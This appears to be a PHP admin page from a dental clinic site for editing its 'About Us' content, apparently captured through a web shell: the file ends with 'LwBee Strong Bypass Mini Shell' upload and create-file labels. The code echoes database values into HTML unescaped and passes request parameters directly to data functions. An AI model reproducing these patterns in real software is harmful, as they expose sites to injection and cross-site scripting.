/home3/vehiclea/public_html/admin-kalyanidentalclinics-com/about_edit.php
<?php
session_start();
  $_SESSION['active'] = 'aboutReport';
  include "header.php";
  if(!empty($_GET['editId'])){
    $about_edit = about_edit($_GET['editId']);
    $row = mysqli_fetch_array($about_edit);
  }
  if(!empty($_POST['submit'])){
      about_edit_data();
  }
?> 
<body> 
  <main id="main" class="main"> 
    <div class="pagetitle">
      <h1>ABOUT US EDIT</h1>
      <nav>
        <ol class="breadcrumb">
          <li class="breadcrumb-item"><a href="dashboard.php">Home</a></li>
          <li class="breadcrumb-item"><a href="about_report.php">About List</a></li>
          <li class="breadcrumb-item active">About Edit</li>
        </ol>
      </nav>
    </div>

    <section class="section">
      <div class="row">
        <div class="col-lg-12"> 
          <div class="card">
            <div class="card-body"> 
          <h5  class="card-title">Edit About Us</h5>
           <div class="row">
         <?php
            if(!empty($_GET['succ']))
          {
          ?>
            <div align="center" style="color:green;"> <h4>About Us Data Updated Successfully</h4></div>
            <?php
            }
         ?>
           <form method="post"  enctype="multipart/form-data">  
            <div class="row">  
             <div class="col-md-12 col-lg-12"> 
                <label class="col-sm-2 col-form-label">Name</label>
                <input type="text" class="form-control" name="name" id="name" value="<?= $row['name']?>">
                <div class="error" id="err1" align="center" style="color:red;"></div> 
             </div> 
             <div class="col-md-12 col-md-12"> 
                <label class="col-sm-2 col-form-label">Description</label>
                <textarea class="form-control" id="content" name="content" placeholder="Enter Content" rows=10><?= $row['content']?></textarea>
                <div class="error" id="err2" align="center" style="color:red;"></div>
             </div>
             <div class="col-md-6 col-lg-6">
                 <label class="col-sm-2 col-form-label">File Upload</label><strong>(Less than 1 MB)</strong>
                 <img src="uploads/about/<?= $row['image']?>" width="100px">
                <input class="form-control" type="file" id="formFile" name="formFile">
                <div class="error" id="err3" align="center" style="color:red;"></div>
                <input type="hidden" name="fileimage" id="fileimage" value="<?= $row['image']?>">
                <img src="uploads/about/<?= $row['image']?>" width = "100px">
             </div>
             <div class="col-md-6 col-lg-6"> 
                  <label class="col-sm-2 col-form-label">Status</label>
                <select name="status" id="status" class="form-control">
                  <option value="1" <?php if($row['status'] == 1){ echo "selected";}?>>Active</option>
                  <option value="2" <?php if($row['status'] == 2){ echo "selected";}?>>Inactive</option>
                </select>
                <div class="error" id="err4" align="center" style="color:red;"></div>
             </div> 
            </div> 
            <div class="row"> 
             <input type="hidden" name="edit_data" id="edit_data" value="<?= $row['id']?>">
                <div class="col-sm-10" align="center"> <br>
                    <input type="submit" name="submit" value="Submit" class="btn btn-primary">
                </div> 
             </div>
           </form> 
            </div>
          </div> 
        </div> 
      </div>
    </section>   
  </main> 
  <?php include "footer.php"; ?> 
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File